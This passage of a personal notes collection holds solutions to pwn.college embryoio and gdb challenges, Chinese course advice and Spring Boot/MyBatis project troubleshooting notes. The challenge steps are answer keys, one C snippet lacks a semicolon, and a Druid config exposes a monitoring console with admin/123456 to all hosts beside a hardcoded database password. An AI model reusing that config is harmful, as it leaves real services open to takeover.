#include <string.h>
#include <stdio.h>
void pwncollege(){
        return;
}
int main(int argc,char *argv[]){
        pid_t pid = fork();
        if(pid < 0){
            exit(-1);
        }else if(pid == 0){
        	execl("/challenge/embryoio_level29","embryoio_level29",NULL)
        }else{
            waitpid(pid,NULL,0);
        }
        return 0;
}
    • tmp.sh
    gcc ~/tmp.c -o ~/tmp
~/tmp

  30. # the same as level29.
# need to modify tmp.c to correct "level29" into "level30".
# into vim, and input:
:s/29/30/g
# then execute the bash script:
bash tmp.sh
# input the specifically value
${random}

  31. :s/30/31/g
# modify tmp.c:
execl("/challenge/embryoio_level31","embryoio_level31",${random},NULL)
# continue the flow
bash tmp.sh

  32. :s/31/32/g
# modify tmp.c to add one line above the execl() funtion:
putenv("${random_key}=${random_value}");
# continue the flow
bash tmp.sh

  33. echo "${random}" > /tmp/${random_input_filename}
# modify tmp.c to add one line above the execl() funtion:
freopen("/tmp/${random_input_filename}","r",stdin);
# correct the level number
:s/32/33/g
# continue the flow
bash tmp.sh

  34. # modify tmp.c to add one line above the execl() funtion:
freopen("/tmp/${random_output_filename}","w",stdout);
# correct the level number
:s/33/34/g
# continue the flow
bash tmp.sh
cat /tmp/${random_output_filename}

  35. :s/34/35/g
# modify tmp.sh at second line to below:
env -i ~/tmp
# continue the flow
bash tmp.sh

  36. /challenge/embryoio_level36 | cat

  37. /challenge/embryoio_level37 | grep pwn

  38. /challenge/embryoio_level38 | sed b

  39. /challenge/embryoio_level39 | rev | rev

  40. cat | /challenge/embryoio_level40 then input ${random}

  41. for (( i=0; i<90000; i=i+1 )); do echo -e "${random_reversed}" >> huge.txt; done && rev huge.txt | /challenge/embryoio_level41

  42. bash tmp.sh
    • tmp.sh
    set -Eeuxo pipefail
/challenge/embryoio_level42 | cat

  43. # tmp.sh
/challenge/embryoio_level43 | grep pwn
# execute
bash tmp.sh

  44. # tmp.sh
/challenge/embryoio_level44 | sed b
# execute
bash tmp.sh

  45. # tmp.sh
/challenge/embryoio_level45 | rev | rev
# execute
bash tmp.sh

  46. # tmp.sh
cat | /challenge/embryoio_level46
# execute
bash tmp.sh

  47. # tmp.sh
for (( i=0; i<20000; i=i+1 )); do
       echo -e "${random_reversed}" >> huge.txt
done
rev huge.txt | /challenge/embryoio_level47
# execute
echo "${random_reversed}" > huge.txt
bash tmp.sh

Confusing Question Numbers

  • 7
  • 15
  • 21

TODO

  • Use sed to replace all the interaction steps ( vim etc. ).

Assembly Crash Course

TODO

Debugging Refresher

  1. r
c
    • run to start a program, with no breakpoint set. r for short.
    • start to start a program, with a breakpoint set on main.
    • starti to start a program, with a breakpoint set on _start.
    • attach <PID> to attach to some other already running program.
    • core <PATH> to analyze the core dump of an already run program.
    • continue to continue program execution. c for short.
  2. r
p/x $r12
# copy the value of $r12
c
    • info registers to see the values of all registers.
    • print to print a particular (register's) value. p for short.
      • print $rdi (in Decimal)
      • p/x $rdi (in Hexadecimal)
  3. r
x/8gx $rsp
c
x/8gx $rsp
# copy the newer value which is different from the old one (most of the older one and the corresponding newer one above is the same)
c
# paste the value
    • x/<n><u><f> <address> to examine the contents of memory.
      • <n> is the number of elements to display.
      • <u> is the unit size to display.
        • b (1 byte)
        • h (2 bytes)
        • w (4 bytes)
        • g (8 bytes)
      • <f> is the format to display it in.
        • d (decimal)
        • x (hexadecimal)
        • s (string)
        • i (instruction)
      • <address> can be specified using a register name, symbol name, or absolute address.
      • supply mathematical expressions when specifying the address.
    • examples
      • x/8i $rip : print the next 8 instructions from the current instruction pointer.
      • x/16i main : print the first 16 instructions of main.
      • disassemble main : print all of the instructions of main. disas main for short.
      • x/16gx $rsp : print the first 16 values on the stack.
      • x/gx $rbp-0x32 : print the local variable stored there on the stack.
    • set disassembly-flavor intel : set INTEL assembly syntax.
  4. r
x/8gx $rsp
ni 18
x/8gx $rsp
# copy the newer value which is different from the old one (most of the older one and the corresponding newer one above is the same)
ni 36
# paste
x/8gx $rsp
# copy the changed value
ni 38
# paste
x/8gx $rsp
# copy the changed value
ni 38
# paste
x/8gx $rsp
# copy the changed value
ni 38
# paste
    • stepi <n> to step forward one instruction. si <n> for short. nexti <n> to step forward one instruction, while stepping over any function calls. ni <n> for short.
      • <n> parameter is optional, but allows you to perform multiple steps at once.
      • finish command in order to finish the currently executing function.
    • break *<address> to set a breakpoint at the specified-address.
    • display/<n><u><f> is the same as the x/<n><u><f>.
    • layout regs : puts gdb into its TUI mode and shows the contents of all of the registers, as well as nearby instructions.
  5. # 1. Write a `gdb` script file, named ${filename}.gdb
# 2. Run command `/challenge/embryogdb_level5 -x {filename}.gdb` (in home directory)
# 3. Get the flag
# NOTE: Some versions perhaps have corresponding explanation, which provide my thought of solving the challenge

# latest version
TODO
    • first version (it works)
    start
break scanf@plt
continue
break *main+818
command
    set $rdx = $rax
end
continue
continue
continue
continue 
continue
continue
continue 
continue
continue
    • example.gdb
     start
 break *main+42
 commands
     silent
     set $local_variable = *(unsigned long long*)($rbp-0x32)
     printf "Current value: %llx\n", $local_variable
     continue
 end
 continue
    • -x <PATH_TO_SCRIPT> : gdb will execute all of the gdb commands after gdb launches.
      • filename usually is example_filename.gdb.
    • -ex '<COMMAND>' : execute individual commands, also can pass multiple commands with multiple -ex arguments.
    • ~/.gdbinit : some commands that always executed for any gdb session.
      • In general, set disassembly-flavor intel can be in there.
    • silent indicates that we want gdb to not report that we have hit a breakpoint, to make the output a bit cleaner.

Intro to Cybersecurity

Talking Web

Premise

In each level, before taking any operation, we must let the server run. However, after we run it, the current terminal can NOT type other commands. So we need a terminal multiplexer in order to input final command that can get the flag of each level.

As for the terminal multiplexer, I use tmux, readers can also use others (i.e. sceen).

So, follow these steps as precondition.

tmux new -s work
/challenge/babyhttp

Solutions

  1. curl 127.0.0.1

Building a Web Server

Intercepting Communication

Cryptography

Web Security

Program Security

Shellcode Injection

Reverse Engineering

Memory Errors

Program Exploitation

System Security

Introduction

No challenges in this module.

Sandboxing

Race Conditions

Kernel Security

System Exploitation

Software Exploitation

Return Oriented Programming

Format String Exploits

File Struct Exploits

Dynamic Allocator Misuse

Exploitation Primitives and Memory Mastery

Dynamic Allocator Exploitation

Archived Modules

Memory Errors

Advanced Exploitation

Example Dojo

Hello

World

Example Import Dojo

Hello

Planet

Uniapp 从 HX 迁移到 WebStorm

  1. 根据 Uniapp 官网给出的命令建立项目
  2. 进入项目，粘贴已经写好的项目文件到 src 目录下
  • 文件清单
    • UI Flamework
    • App.vue
    • pages
    • etc
  • 粘贴 package.json 和 lockfile 到根目录下
  • 在 package.json 中添加相应的额外依赖
    • 添加 sass-loader 时请务必注意版本问题
    • 添加 sass-loader 时还要添加 sass 依赖
  1. 运行项目

给计算机 202102 班的选修课建议

写在前面

:exclamation:重要:exclamation: ：因培养方案变动极大，所有给出的建议仅供参考，很多课是新开的，仅能根据对科目的认识给出建议，因而期末好不好过，老师人好不好等问题，不能解答。以上。

大一上

没法选课，也没有选修课，不讲。

大一下

  • Python 语言：简单，推荐。学了 C 语言你们还怕这个我是不信的。
  • Web 技术：你们会接触到三门语言
HTML=>start: HTML（Hyper Text Markup Language，超文本标记语言）
CSS=>operation: CSS（Cascading Style Sheets，层叠样式表）
JS=>end: JavaScript（ECMAScript，JS）
HTML->CSS->JS

这三门语言是现代前端的基石。请务必要了解。反正最后都要学，躲不过的。

大二上

  • 数字媒体处理技术：不了解，新开的。估计是教一些工具的使用？比如 PS，PR，AE，AI，Blender 啥的。我猜的。教深一点可能会教是怎么实现的，但是我想应该不会到这种程度。看个人兴趣吧。

大二下

  • Java：C++ 要比 Java 难，而前者又是你们必修，我觉得可以选修。学了之后你们就知道，C++ 有多恐怖，以及 Java 有多简单但是写起来巨麻烦这件事。关于这两门语言还有很多可以聊的，有时间我们再说吧。推荐。
  • 数字图像处理：不了解，新开的。估计是专业教 P 图的。不误导你们了。

大三上

  • 并行分布式计算：不了解，新开的。但是根据这个名字来讲，可能会很难。但是很难也请坚持下去，我相信在这门课里会学到很多计算机的理念。并发和分布式是近现代计算机工程很需要了解和深入的领域。推荐。
  • 计算机图形学：不了解，新开的。会需要大量数学。可能比上面这一科还要难。但是很好玩，看个人兴趣。这个真的需要很多数学知识。
  • 数据可视化：不了解，新开的。但是这个学起来很好玩。也不会很难，相比上面那两个简单一点。看个人兴趣。推荐。

大三下

  • 农业信息技术：不了解，新开的。完全不知道这课是干啥的。
  • 嵌入式：偏计算机底层。学校洗衣机，家里自动电饭煲就是嵌入式系统。需要有强硬的计算机底层知识，包括汇编。有一定的难度，看个人兴趣。
  • 数据挖掘：很水。完全不知道学了能干啥。但是要混分很容易。实验课就是给一个软件和一堆数据，然后建立一个 Flow，看数据与数据之间相关性之类的东西。可能对以后投递数据分析师岗位之类的有用，目前来看没啥用。看个人。
  • 微机原理与接口：师兄师姐们大三下学期原来的必修。尊重一下吧（笑。
  • 信息安全：推荐。但是真正的网络安全会很烧脑。完善自己在计算机领域的空白吧。

大四上

  • 机器学习：江湖人称“炼丹”。其实整个机器学习领域都是建立在概率论与数理统计上面的沙堡，抵挡不住暴风雨。需要算力。需要数学。需要能实现一些算法。有一定难度。看个人兴趣。

其他建议

公共选修课

请完全根据自己兴趣爱好来。以下推荐为道听途说和代代传承的混分水课（笑。

  • 各种慕课 MOOC
  • 酒与酒文化
  • 婚姻家庭法（这个挺有用，不算很水
  • 奥妙植物学
  • 各类影视鉴赏
  • ……

其他选修课

请完全根据自己兴趣爱好来。可以选别人专业的必修，或者推荐选修。请注意，这样做会有考试，因为是课程是按照必修或者推荐选修的要求来的。不过想提升自己，这样做是值得的。以下为个人推荐，均有难度。

  • 第二外语 日语（I, II, III, IV）（英语专业推选

  • 第二外语 法语（I, II, III, IV）

  • 设计素描（包装和视传推选

  • 设计色彩（同上

  • 合同法学（法学推选

    • 请注意：因民法典推出，合同法同步废止。所以课上教的应该是民法典的合同篇章。

  • 量子力学原理（电子推选

  • 民法（上下）（法学必修

  • 社会心理学

  • 公共关系学

    • 请注意：公关公司在日常工作经常会处理人际关系，请衡量自己在这方面的能力。

  • 交互设计（视觉推选

  • 消费心理学

  • ……

写在最后

请务必根据自己学分状况进行选课。

  1. 请多备几个方案，因为多半会有选课冲突，和名额不足的情况。
  2. 强烈推荐部分推选和必修提前修读，以后会轻松很多。
  3. 如果想混分请务必选修慕课。

最后郑重声明：以上仅为个人建议，请根据自己的情况量力而行。如果错误欢迎斧正勘误。

联系方式

Telegram: 南国微雪 Miyuki

QQ Email: lo.tinysnow.ol@foxmail.com

Outlook: lo.tinysnow.ol@outlook.com

WingStudio

WingStudio 为我校一软件工作室。

此处收录当初面试考核答辩相关的所有技术内容。

WingStudio 第二轮考核 工程实现记录

tomcat 相关

1.关于控制台输出乱码问题

找到 tomcat 安装目录 C:\Program Files\Apache Software Foundation\Tomcat 8.5\conf 其下面有一个 logging.properties 文件，使用 notepad++ 打开，找到 java.util.logging.ConsoleHandler.encoding = UTF-8 将 UTF-8 改为 GBK 即可。

2.启动

C:\Program Files\Apache Software Foundation\Tomcat 8.5\bin 其下有一个 startup.bat 文件，点击即可，另关闭请务必点击右上角，不要点 startdown.bat 。没啥用。

3.运行项目

tomcat 运行的 web 项目会统一放在 C:\Program Files\Apache Software Foundation\Tomcat 8.5\webapps 目录下面，故只需要新建一个项目文件夹放入项目文件即可。

4.关于启动不了的问题

检查端口是否被占用。

IDEA 部署及创建工程

1.创建 Java EE 工程

  1. new 一个 Java EE 工程，勾选 Web Application 模块，注意看 tomcat 服务器是否有选上，然后找好工程文件夹储存位置，一路next;
  2. 在右上角运行长条选择 tomcat 服务器，点击 Edit Configurations... 修改配置。

  • 修改 name 以免以后多个项目分不清 tomcat 实例，建议与包名一致；

  • 修改 Deployment 下，选中的工程的 Application context ，此为浏览器的访问路径，多个工程的 Application context 不能一致，另外，选中的工程本身也可以进行修改，例如名字，依赖等等；

  • 修改 Sever 下的 URL ，此为每次运行 tomcat 浏览器默认打开的路径，需要与上一点中的某一个路径一致，或者与其工程文件当中的某个路径一致，例如 +login.html ，否则找不到文件；

  • 修改 Sever 下的 On frame deactivation ，此为网页每次刷新时的动作，建议勾选为 update classes and resouces ；

  • 注意:

    • 在新建的 login.html 文件下面的 form 表单中的 action 行为，如果其冒号中的文字为路径，在浏览器中会重新表示为 ip:port 后面的路径，并不会接在当前访问路径下面 ，所以请务必从包名开始重新打路径。
      • 例如，假如表单所在的路径为 http://ip:port/login ，则此表单提交后跳转的页面并不是 http://ip:port/login/test 而是 http://ip:port/test 。请务必注意。
    • 但是在 Servlet 的处理类中，注解和 Web.xml 中的文字如果是路径的话，会加在当前路径名之后，请务必注意。故，善用跳回上一级目录 "/../" 。

2.数据库相关

  1. 编写数据库获取连接的工具类方法时，编写的URL需要额外添加语句，详情见下。
"jdbc:mysql://localhost:3306/user?useUnicode=true&characterEncoding=UTF-8" +
"&serverTimezone=Asia/Shanghai&useSSL=false&allowPublicKeyRetrieval=true"

后面需要加上 allowPublicKeyRetrieval=true 以防止抛出 SQLNonTransientConnectionException: Public Key Retrieval is not allowed 异常。具体原理暂时不知晓。

  1. 关于连接数据库的使用表问题
  2. 需要使用的数据库写在获取连接的URL里面(如: jdbc:mysql://localhost:3306/user )
  3. 需要使用的该数据库的表，写在持久层的有关CRUD方法里面(如: update user set password = ? where user_name = ? )
  4. 1中的 user 是一个名字叫 user 的数据库，而2中的 user 是该数据库下的一张表。

其他

  1. 关于 post 请求乱码问题

  • 需要在服务器的 doPost 方法里先进行设置编码，方法为 setCharacterEncoding("UTF-8")

  • get 请求的中文不会乱码， get 和 post 请求的英文均不会乱码

  • 关于请求转发

    • 请求转发可以访问 WEB-INF 目录下的资源，但是浏览器直接访问不行，相当于对外加密
    • 请求转发只能够在当前工程下的所有资源内跳转，不允许放出 URL 访问其他页面，例如在源码中放出百度首页的地址时，会出错
    • 共享Request域中的数据

Wing 第三轮接口设计

用户登录和注册

  • 查询用户密码
  • 插入用户
  • 查询评委密码

创建投票项目

  • 创建项目，即在 每个评委 和 投票目标 上加一个项目id即可，不用新建表
  • 插入评委
  • 插入被投票目标

展示投票项目页

  • 查询投票目标的票数，或者直接查询对象也可以

信息管理页面

  • 修改评委账号
  • 修改评委密码
  • 插入评委
  • 删除评委
  • 删除所有信息，包括评委，投票目标（删除项目id即可）
  • 进入下一轮投票：依据投票目标的票数高低排列，删除后一半的投票目标
  • 投票结束：选择票数最高的胜出

投票页

  • 修改票数
  • 修改评委投票的权利

WingStudio 第三轮考核说明文档

技术栈

==此次考核项目采用前后端分离架构开发。==

前端技术栈

  • 采用 Vue-Cli （ Vue 脚手架） 进行基本项目搭建
  • 采用 Vue + ElementUI 进行页面和视图绘制
  • 采用 VueRouter 进行页面间跳转控制
  • 采用 VueX 进行全局变量共享和状态跟踪
  • 采用 Axios 进行网络请求
  • 采用 Webpack 进行打包
  • 开发工具：WebStorm

后端技术栈

  • 采用 SpringBoot 进行基本项目搭建
  • 采用 SpringSecurity 进行权限管理和分配
  • 采用 Mysql 进行数据保存
  • 采用 Mybatis 进行数据库操作
  • 采用 Druid 进行数据库连接池管理
  • 采用 Maven 进行依赖管理
  • 采用 Alibaba-fastjson 进行对象序列化和传输
  • 开发工具：IntelliJ IDEA

前后端通信

  • 采用 JSON 格式进行传输
  • 采用 Postman 进行通信传输测试

其它

  • 采用 git + github + gitee 进行版本控制

项目功能完成情况

前注

高亮即表示在需求文档中为加分项。

已完成

  • 用户登录

  • 用户注册

  • 评委登录

  • 创建项目

    • 批量录入候选人信息
    • ==批量录入评委信息==
    • ==创建者可以进行现场展示==

  • 管理项目

    • 删除评委
    • 更新评委信息
      • ==更改投票权==
    • 查询评委列表

  • 进行投票

    • 查询候选人信息
    • 投票
    • 可弃权（即不投票
    • 再次投票时拒绝请求（即单次投票
    • ==结果实时展示==

未完成

  • 登录

    • ==邮箱重置密码==

  • 管理项目

    • 添加单个评委
    • ==删除项目（后端接口已经写好，但前端页面未写==
    • ==多轮次投票==

  • 展示页面

    • 最终赢家展示

关于启动项目

前端代码：

解压源码后，进入相应解压后的目录的任意一个终端（ Terminal ）输入：

npm run serve

等待编译启动即可，端口号默认为 8080 ，如果 8080 已经占用，则顺延，项目打开地址：

http://localhost:8080
# 或者
http://127.0.0.1:8080

后端代码：

解压源码后，使用 IDEA 打开运行即可。端口号固定为 8088 ，项目打开地址：

http://localhost:8088
# 或者
http://127.0.0.1:8088

==请注意：后台没有任何默认页面，所以直接打开上述地址，会直接爆出 Whitelabel Error Page 的错误，这是正常现象。==

其它说明

  1. 该项目代码存在很多可以优化的地方，但由于时间关系，未能及时优化；（如网络请求比较频繁）
  2. 因为自己的问题，技术栈选定更迭很多次，导致这个项目重写了很多次；
  3. 有记录和价值的报错记录，以及需要注意的点，在附带的《 WingStudio 第三轮项目途中报错及解决方案》文件中；
  4. 项目中带有大量注释，以帮助阅读代码；
  5. 附带录有项目演示视频；
  6. 目前没有考虑到评委重名的情况；
  7. 目前暂时没有发现 bug ；
  8. 在编码过程中的控制台打印和调试信息已经删除。

WingStudio第三轮项目途中报错及解决方案

请遵循一步一测试的原则，否则后续定位错误极其麻烦！！！

一、sql 驱动连接不上，抛出 ClassNotFoundException

解决方案：

检查 sql驱动版本与所装 sql 版本是否一致。

二、 MyBatis 加载全局配置文件时出错

解决方案：

全局配置文件的路径应使用 com/tinysnow/easyvote/conf/xml/mybatis-config.xml 这种斜杠方式而非 . 的方式。

三、 MyBatis 不能加载 properties 配置文件

报错如下： Cause: org.apache.ibatis.builder.BuilderException: Error parsing SQL Mapper Configuration. Cause: java.io.IOException: Could not find resource mysql-connection.properties

解决方案：

应使用全局的路径 com/tinysnow/easyvote/conf/mysql-connection.properties 结果正确。

四、 MyBatis 不能加载 Mappers 中的 spl 映射配置文件

解决方案：

路径错了，以及没有使用 / 表示法，而使用 . 的表示法。

五、 绑定数据库两个异常的解决办法

第一个：Type interface **************************** is not known to the MapperRegistry.

译文：MapperRegistry不知道类型接口com.tinysnow.easyvote.dao.intrfc.JdbcMethods。

第二个：Invalid bound statement (not found): ***********************.

译文：无效的绑定语句（未找到）：com.tinysnow.easyvote.dao.intrfc.JdbcMethods.insertUser。

解决方案：

映射文件里面的 namespace 路径应该用 . 号，而非 / 或 \ ，路径的最后也不要带上文件后缀名，否则将认为文件后缀名所带的 . 号认为是下一个目标路径。并且在配置诸如 等的标签的时候，里面不要配置 databaseId 。 虽说不清楚啥原理，但这么改就好了。

六、关于使用 Maven 管理依赖中 Mybatis 报错问题

引入 properties 文件后在测试方法中测试最基础的 Mybatis 启动报错，两个异常如下：

Cause: java.lang.NullPointerException
 at MyBatisStartTest.main(MyBatisStartTest.java:14)

java.io.IOException: Could not find resource /mybatis-config.xml
 at MyBatisStartTest.main(MyBatisStartTest.java:14)

解决方案：

  1. 资源文件统一扔在 resources 目录下面；
  2. 测试方法中的路径字符串 String resource = "mybatis-config.xml"; 路径一定要正确，最保险的方法是使用 IDEA 的 copy -> path from source root ；
  3. 最重要的，报 NullPointerException 的原因是 mybatis-config.xml 文件中没有配置 environment 标签，一定要加上如下的代码，否则找死找不到，连接不到数据库。里面的数据库驱动标签什么的按实际情况配置。
    <environments default="development">
        <environment id="development">
            <transactionManager type="JDBC"/>
            <dataSource type="POOLED">
                <property name="driver" value="${jdbc.driver}"/>
                <property name="url" value="${jdbc.url}"/>
                <property name="username" value="${jdbc.username}"/>
                <property name="password" value="${jdbc.password}"/>
            </dataSource>
        </environment>
    </environments>

另，数据库驱动是使用 properties 标签引进来的。

<properties resource="database.properties">
</properties>

七、关于在 try 块中定义资源导致无法编译的问题

解决方案：

  1. 进入 idea -> File -> Settings -> Build, Execution, Deployment -> Compiler -> Java Compiler -> 选择项目旁边的 Target bytecode version -> 改成8
  2. 进入 idea -> File -> Project Structure -> Modules -> Language Level -> 改成 Project default

八、注意：数据库连接问题，有坑

连接上数据库是没有指定数据库名的，所以在写 sql 语句的时候需要先指定数据库名，然后是表名，用句点连接。比如： select * from user.userinfo where id = #{id}

九、关于 MyBatis 中 Mapper 文件中 sql 语句执行正确不报异常，但是数据表中看不见执行结果的现象

解决方案：

在编写的测试方法里面 SqlSession session = build.openSession() session 更新完 sql 是不自动提交的，一定要切记。需要加上如下语句：

session.commit();

十、关于 SpringBoot 启动时的报错

报错如下：

Description:

Failed to configure a DataSource: 'url' attribute is not specified and no embedded datasource could be configured.
Reason: Failed to determine a suitable driver class


Action:

Consider the following:
 If you want an embedded database (H2, HSQL or Derby), please put it on the classpath.
 If you have database settings to be loaded from a particular profile you may need to activate it (no profiles are currently active).

解决方案：

在 application.yml / application.properties 中添加数据库的相关设置：

spring:
  datasource:
    username: root
    password: tinysnow;
    url: jdbc:mysql://localhost:3306/?useUnicode=true
      &characterEncoding=utf-8&allowPublicKeyRetrieval=true&useSSL=false
    driver-class-name: com.mysql.cj.jdbc.Driver

特别注意： url 下面第二行前面的空格一定不能省略。

十一、关于 MyBatis 在 SpringBoot 中找不到绑定文件的错误

新建了一个 application-mybatis.yml 配置文件如下：（配置文件的文件名一定要是 application- .yml的形式）

mybatis:
  mapper-locations: classpath:mybatis/mappers/*.xml
  type-aliases-package: com.tinysnow.bean

然后一定不要忘记去主 application.yml 配置文件中激活！

spring: 
  profiles:
    active: druid,mybatis
# 激活时只用写 application- 后面的单词

十二、 SpringBoot 启动时报错

异常如下：

java.lang.IllegalStateException: dbType not support : null, url null

解决方案，在 druid 配置文件中的 prefix 后缀中去掉 druid ，只保留 spring.datasource 。启动正常。

  • druid 配置文件与 spring 配置文件的双向绑定：
@Configuration
public class DruidConfig {

    @ConfigurationProperties(prefix = "spring.datasource")
    @Bean
    public DataSource druidDataSource(){
        return new DruidDataSource();
    }

    @Bean
    public ServletRegistrationBean servletRegistrationBean(){
        final ServletRegistrationBean bean =
                new ServletRegistrationBean(new StatViewServlet(), "/druid/*");
        // 后台需要有人登录，配置账号和密码
        final HashMap hashMap = new HashMap();
        // 增加配置
        hashMap.put("loginUsername","admin");
        hashMap.put("loginPassword","123456");
        // 允许谁可以访问, Value 不写就默认所有主机都可以访问
        hashMap.put("allow","");
        // 还可以禁止谁能访问，此时的 Key 就是自定义的， Value 指定 ip 地址
        // 例如 hashMap.put("tinysnow","192.168.3.7");

        // 设置初始化参数
        bean.setInitParameters(hashMap);
        return bean;
    }
}

注意：这些注解一个都不能少

十三、关于每次启动项目总是跳出登陆页面的问题

如下图所示：

解决方案：这是 SpringSecurity 的特性，登录的用户名默认是 user ，密码默认是控制台输出的一大串字符，也可以自己设置，凡是具体设置流程暂未关心。

十四、关于 MyBatis 查询返回结果过多的问题

异常：

TooManyResultsException: Expected one result (or null) to be returned by selectOne(), but found: *

解决方案：

将接口中的返回值类型改为 List 即可。

十五、关于 MyBatis 查询结果为 null 的问题

解决方案：

实体类(pojo, bean, modal...)中的字段名一定要与数据库中的一一对应，否则查询不出结果。现有松耦合的方法可以使数据库中的名字不与实体类中的一一对应。通过以下方式开启：

mybatis:
  configuration:
    # 自动开启数据库下划线命名 与 实体类中驼峰命名法的匹配
    # 以达到双方命名均规范的目的
    map-underscore-to-camel-case: true

十六、关于 git 各种命令都无效的问题

解决方案：

看看自己是在哪个目录下进行操作的，千万不要 cd 错了目录。

十七、关于修改 IDEA 中数据表的各项属性不能成功的问题

解决方案：

在右侧栏 Database 中选中数据表右键 Modify Table 或者按下 Ctrl+F6 在该栏里面修改数据表才算成功。选中数据表点击最上面的笔，修改代码的结果是不能提交的，也就自然不能成功了。

十八、关于新建项目 Maven 导入慢的问题

解决方案：

在 C: \ Users \ [user] \ .m2 下建立一个文件 settings.xml 将下述代码拷贝进去。或者在 IDEA 的 Project 空白栏右键选择 Maven 然后创建 settings 。

<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
    <mirrors>
        <!-- mirror
         | Specifies a repository mirror site to use instead of a given repository. The repository that
         | this mirror serves has an ID that matches the mirrorOf element of this mirror. IDs are used
         | for inheritance and direct lookup purposes, and must be unique across the set of mirrors.
         |
        <mirror>
          <id>mirrorId</id>
          <mirrorOf>repositoryId</mirrorOf>
          <name>Human Readable Name for this Mirror.</name>
          <url>http://my.repository.com/repo/path</url>
        </mirror>
         -->

        <mirror>
            <id>alimaven</id>
            <name>aliyun maven</name>
            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
            <mirrorOf>central</mirrorOf>
        </mirror>

        <mirror>
            <id>uk</id>
            <mirrorOf>central</mirrorOf>
            <name>Human Readable Name for this Mirror.</name>
            <url>http://uk.maven.org/maven2/</url>
        </mirror>

        <mirror>
            <id>CN</id>
            <name>OSChina Central</name>
            <url>http://maven.oschina.net/content/groups/public/</url>
            <mirrorOf>central</mirrorOf>
        </mirror>

        <mirror>
            <id>nexus</id>
            <name>internal nexus repository</name>
            <!-- <url>http://192.168.1.100:8081/nexus/content/groups/public/</url>-->
            <url>http://repo.maven.apache.org/maven2</url>
            <mirrorOf>central</mirrorOf>
        </mirror>

    </mirrors>
</settings>

十九、 关于工程文件夹默认路径的修改

Settings > Appearance & Behavior > System Settings > Project > Default project directory .

二十、关于新建项目启动后报错 404 的问题

解决方案：

其实是没有设置默认页面的问题，可以加一个 Controller 和页面，后面发现其实是正常的。可以加如下代码，记得加上 @ResponseBody ，否则还是报错。

package com.tinysnow.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

/**
 * @author TinySnow
 */
@Controller
public class TestController {
    
    @RequestMapping("/")
    @ResponseBody
    public String test(){
        return "HelloWorld";
    }
}

然后在 templates 目录下新建一个 HelloWorld.html 后，重新启动项目，发现是正常的。

二十一、关于建立单元测试爆空指针异常的问题

解决方案：

是因为此时的 candidateMapper 并没有被 Spring 托管，左侧都没有出现叶子的图标。在类上加上 @SpringBootTest。

二十二、 关于对 Mybatis 中 Mapper 进行单元测试的报错问题

***************************
APPLICATION FAILED TO START
***************************

Description:

Parameter 0 of method setCandidateMapper in com.tinysnow.dao.impl.CandidateDaoImpl required a bean of type 'com.tinysnow.mappers.CandidateMapper' that could not be found.


Action:

Consider defining a bean of type 'com.tinysnow.mappers.CandidateMapper' in your configuration.

解决方案：

是因为这个 com.tinysnow.mappers.CandidateMapper 压根儿就没找到。

在主启动类上添加 @MapperScan("com.tinysnow.mappers") 注解，或者在每一个 Mapper 接口上定义 @Mapper 注解。这样才能被 MyBatis 找到。

二十三、关于没有找到文件的问题

报错信息：

F:\Projects\Java\Wing\src\test\java\com\tinysnow\mappers\JudgeMapperTest.java:11:5
java: 找不到符号
  符号: 类 JudgeMapper
  位置: 类 com.tinysnow.mappers.JudgeMapperTest

解决方案：

这个可能是由于 IDEA 抽疯，没有自动编译，直接复制文件就有可能出现这个问题。点击模块，右键，rebuild 一下就可以了。

二十四、关于 git 拉不下来代码的问题

拒绝拉代码的提示性语句： refusing to merge unrelated histories

翻译：拒绝合并无关的历史

解决方案：

如果合并了两个不同的开始提交的仓库，在新的 git 会发现这两个仓库可能不是同一个，为了防止开发者上传错误，于是就给下面的提示

fatal: refusing to merge unrelated histories

如我在Github新建一个仓库，写了License，然后把本地一个写了很久仓库上传。这时会发现 github 的仓库和本地的没有一个共同的 commit 所以 git 不让提交，认为是写错了 origin ，如果开发者确定是这个 origin 就可以使用 --allow-unrelated-histories 告诉 git 自己确定

遇到无法提交的问题，一般先pull 也就是使用 git pull origin master 这里的 origin 就是仓库，而 master 就是需要上传的分支，因为两个仓库不同，发现 git 输出 refusing to merge unrelated histories 无法 pull 内容

因为他们是两个不同的项目，要把两个不同的项目合并，git需要添加一句代码，在 git pull 之后，这句代码是在git 2.9.2版本发生的，最新的版本需要添加 --allow-unrelated-histories 告诉 git 允许不相关历史合并

假如我们的源是origin，分支是master，那么我们需要这样写git pull origin master --allow-unrelated-histories 如果有设置了默认上传分支就可以用下面代码

git pull --allow-unrelated-histories

参考链接：

https://blog.csdn.net/lindexi_gd/article/details/52554159

二十五、关于 git 更改提交代码的邮箱

查看本机用户下.gitconfig这个文件，打开之后查看对应的 name 和 email 是否和自己想要设置的一致，如果不一致，打开git bash ：

git config --global user.name "设置自己的名字"
git config --global user.email "设置自己的邮箱"

这两条指令设置。idea 也中 git commit时有这一框可以选择。

参考链接：

https://blog.csdn.net/weixin_42257062/article/details/80509641

二十六、git 合并分支

切换回主分支，然后

git merge [想要合并的分支名字]

注意：此命令只会合并分支上的文件到 master 分支，但不会删除分支。

二十七、Vue 主页进不去

解决方案：

  const routes = [
    { path: '/', redirect: '/login' },
    { path: '/login', components: LoginAndRegister },
    { path: '/create', component: CreateProject },
    { path: '/manage', component: ManageProject },
    { path: '/result', component: ShowResult}
  ]

components 改为 component

二十八、关于通过 Vuex 的 mutations 提交修改不起作用的问题

解决方案：

在自己的 mutations 业务代码里修改 state 里的属性时，引用是 this.state.[property] 而不是 this.[property]

在全局调用 mutation 的函数时不需要传入 state 相关的参数，因为这是一个内部的引用，只需要传入 username 就可以，如：

this.$store.commit("changeUserLoginState", "114514")

二十九、MyBatis数组参数传入报错

报错信息：

org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.exceptions.PersistenceException: 
### Error updating database.  Cause: java.lang.UnsupportedOperationException
### The error may exist in file [F:\Projects\Java\Wing\target\classes\mybatis\mappers\CandidateMapper.xml]
### The error may involve defaultParameterMap
### The error occurred while setting parameters
### SQL: insert into candidates (project_id, candidate_name, describe_msg, vote_number)         values (?,?,?,0);
### Cause: java.lang.UnsupportedOperationException

报错代码：

